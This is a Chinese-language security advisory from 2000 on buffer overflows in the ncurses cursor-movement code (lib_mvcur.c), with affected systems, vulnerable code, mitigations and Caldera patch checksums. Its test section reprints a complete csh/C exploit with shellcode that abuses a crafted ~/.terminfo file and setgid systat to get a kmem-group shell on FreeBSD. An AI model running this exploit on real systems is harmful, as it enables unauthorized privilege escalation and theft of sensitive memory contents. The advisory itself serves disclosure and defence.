首页 -> 安全研究

安全研究

安全漏洞
Ncurses 库中存在缓冲区溢出漏洞

发布日期:2000-10-19
更新日期:2000-10-19

受影响系统:

ncurses v4.2 和5.0
libocurses
   - SuSE Linux 6.4
   - Red Hat Linux 6.1
   - FreeBSD
   - OpenBSD
   - Caldera Linux 2.3
   - OpenLinux eServer 2.3 and OpenLinux eBuilder
   - OpenLinux eDesktop 2.4

不受影响系统:

- NetBSD
描述:

CRT 屏幕处理库ncurses包含一些缓冲区溢出漏洞,任何使用这个库的程序都可能受影响。
如果该程序被设置了setuid/setgid程序,本地用户可能提升他们的权限。这个问题存在于
ncurses v4.2和5.0中,更早版本也可能受影响,libocurses也存在此问题。如果库支持从
~/.terminfo中装载用户定义的terminfo文件,就可能被利用进行攻击。

这个问题当前在如下系统被测试:


  * SuSE Linux 6.4, Red Hat Linux 6.1. xmcd包中的"cdm"程序被设置了setuid属性并
    且使用了有问题的ncurses库。

  * FreeBSD。/usr/bin/systat程序被设置了setgid kmem属性,它也使用了libncurses库,
    攻击者可以获得kmem组的属性。这个组可以查看/dev/kmem文件以及/proc/<pid>/mem文
    件,潜在的可能获取口令密文甚至明文以及其他敏感信息。
     
  * OpenBSD 。/usr/bin/systat也存在同样问题

当使用telnet连接远程系统时,某些平台上的telnetd并不忽略TERMINFO_DIRS 或者TERMCAP
环境变量(例如OenBSD).这意味着可能这个问题在某些平台下可能被远程攻击。

问题出在 ncurses/tty/lib_mvcur.c中,它包含一些移动光标的函数,其中一些函数在使用
strcpy()函数时没有进行边界检查。例如,在onscreen_mvcur()函数中使用strcpy()将数据
拷贝到一个固定大小的缓冲区中:

static inline int
onscreen_mvcur(int yold,int xold,int ynew,int xnew, bool ovw)
/* onscreen move from (yold, xold) to (ynew, xnew) */
{
    char        use[OPT_SIZE], *sp;


... a few lines later:

    sp = tparm(SP->_address_cursor, ynew, xnew);
    if (sp)
    {
        tactic = 0;
        (void) strcpy(use, sp);

tparm()函数为屏幕操作返回一个控制字符串,根据环境变量TERM和TERMINFO_DIRS
,字符串会从terminfo文件中读取。尽管在某些平台下的ncurses实现当运行在
setuid/setgid状态时忽略TERMINFO_DIRS变量,但是它们仍然会检查是否用户目录
下存在~/.terminfo文件。

OPT_SIZE 定义为512字节。tparm()能返回一个任意长度的包含任意数据的字符串,
因此进行攻击是相当简单的。在其它的函数中也存在一些类似的strcpy()调用。另
外一些其他的ncurses函数(例如 endwin() )也调用mvcur()函数,因此并不需要应用
程序直接调用mvcur()函数。

<*来源: Jouko Pynn鰊en (jouko@solutions.fi) *>





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Przemys砤w Frasunek <venglin@freebsd.lublin.pl> 提供了一个测试程序:

#!/bin/csh

##############################################################################
# (c) 2000 Przemys砤w Frasunek <venglin@freebsd.lublin.pl>                   #
#                                                                            #
# FreeBSD 4.x systat (gid=kmem) trivial exploit                              #
# Idea by: Jouko Pynn鰊en <jouko@SOLUTIONS.FI>                               #
#                                                                            #
# Dedicated to ksm.                                                          #
#                                                                            #
# Nudzi硂 mi si?w szkole, tote?napisa砮m sploita na angielskim otgpdvt :)    #
##############################################################################

cat << __EOF__ > /tmp/xx
#!/bin/csh

cp /bin/sh /tmp
/usr/bin/chgrp kmem /tmp/sh
chmod 2755 /tmp/sh
__EOF__

chmod 755 /tmp/xx

cat << __EOF__ > /tmp/sploitte.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define OFF -400
#define ALIGN 516

long getesp(void)
{
__asm__("movl %esp, %eax\n");
}

int main(void)
{
/* precompiled malformed terminfo header */

char evilcap[] =
"\x1a\x01\x2a\x00\x26\x00\x21\x00\x82\x01\x09\x02\x73\x63\x72\x65"
"\x65\x6e\x7c\x56\x54\x20\x31\x30\x30\x2f\x41\x4e\x53\x49\x20\x58"
"\x33\x2e\x36\x34\x20\x76\x69\x72\x74\x75\x61\x6c\x20\x74\x65\x72"
"\x6d\x69\x6e\x61\x6c";

long ret = getesp() + OFF;
int i;

/* creating ~/.terminfo/s/screen precompiled binary */

write(2, evilcap, sizeof(evilcap)-1);
for (i=0;i<39;i++) write(2, "\0", 1);
for (i=0;i<86;i++) write(2, "\xff", 1);
write(2, "\0\0", 2);
for (i=0;i<750;i++) write(2, "\xff", 1);
for (i=0;i<ALIGN;i++) write(2, "a", 1);
fprintf(stderr, "%c%c%c%c", ((int)ret & 0xff),
  (((int)ret & 0xff00) >> 8),
  (((int)ret & 0xff0000) >> 16),
  (((int)ret & 0xff000000) >> 24));
write(2, "\0", 1);
}
__EOF__

# creating terminfo binary

cc -o /tmp/s /tmp/sploitte.c
cd $HOME
mkdir -p .terminfo/s
setenv TERM screen
/tmp/s >& .terminfo/s/screen

# shellcode goes to env. plenty of nops are used, so usually adjusting offset
# isn't needed.

setenv EGG `perl -e 'print "\x90" x 10000 ; print "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/xx\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"'`

# boom.

/usr/bin/systat >& /dev/null

# clean me up.

rm -f .terminfo/s/screen
rm -f /tmp/xx /tmp/s /tmp/sploitte.c

# your setgid shell :)

ls -la /tmp/sh



建议:
临时解决方法:

NSFOCUS建议您在没有升级ncurses之前去掉那些使用ncurses库的程序的setuid/setgid
属性。
可以使用下列命令来检查是否程序使用了ncurses库:

$ ldd /path/to/program

如果在使用的库列表中包含libncurses或者libocurses,这个程序又被设置了setuid/
setgid位的话,这个程序就可能是有问题的。如果系统中没有"ldd",可以用下列命令:

$ grep -li TERMINFO /path/to/program

如果结果输出了文件路径,这个程序也可能使用了ncurses.

去掉可能受影响程序的setuid/setgid属性可以使用下列命令:

$ chmod ug-s /path/to/file

厂商补丁:

[ Caldera Linux ]:

Caldera Linux 2.3:


二进制包地址:ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/
源码包地址:  ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS
包校验码以及文件名:
       f31b8e7d2d35ca8f8003cd580eb4a643  RPMS/ncurses-4.2-6.i386.rpm
       16abd61e99c33cb61ae68a8796e81d7f  RPMS/ncurses-devel-4.2-6.i386.rpm
       02f355cb7e3beb3b9cd132461ab0a857  RPMS/ncurses-devel-static-4.2-6.i386.rpm
       64bf29f03acc305756b9abdcfbb76a7f  RPMS/ncurses-termcap-devel-4.2-6.i386.rpm
       b569d3980e687e6f516510d865158cee  RPMS/ncurses-termcap-devel-static-4.2-6.i386.rpm
       72d2512519731ed4e4e66cb3099d8b17  SRPMS/ncurses-4.2-6.src.rpm

   
OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
   
二进制包地址:ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/
源码包地址:  ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS
包校验码以及文件名:
       1a7b87dd8146b9529aad5dd6303e248a  RPMS/ncurses-4.2-6.i386.rpm
       b35e9397d8bd9584aae7482775f64dd2  RPMS/ncurses-devel-4.2-6.i386.rpm
       2af93cedddae6f32a2d49ac5182d7f67  RPMS/ncurses-devel-static-4.2-6.i386.rpm
       dc654d552c15d9d438270b5019584988  RPMS/ncurses-termcap-devel-4.2-6.i386.rpm
       4da3269d769520ff3f64f026a293f028  RPMS/ncurses-termcap-devel-static-4.2-6.i386.rpm
       72d2512519731ed4e4e66cb3099d8b17  SRPMS/ncurses-4.2-6.src.rpm


  OpenLinux eDesktop 2.4

二进制包地址:ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/
源码包地址:  ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS
包校验码以及文件名:  
       afd119c5acda89001cea005faacb32f1  RPMS/ncurses-4.2-6.i386.rpm
       7eaa20203c718449f43a9e12cc0ce8f7  RPMS/ncurses-devel-4.2-6.i386.rpm
       551843505cd6c87948bb695cc034f73c  RPMS/ncurses-devel-static-4.2-6.i386.rpm
       b40dd2ad2a081c20eb4f8c414c467baa  RPMS/ncurses-termcap-devel-4.2-6.i386.rpm
       869064fed6dcf2fee13ee518f2dcb236  RPMS/ncurses-termcap-devel-static-4.2-6.i386.rpm
       72d2512519731ed4e4e66cb3099d8b17  SRPMS/ncurses-4.2-6.src.rpm


浏览次数:6760
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障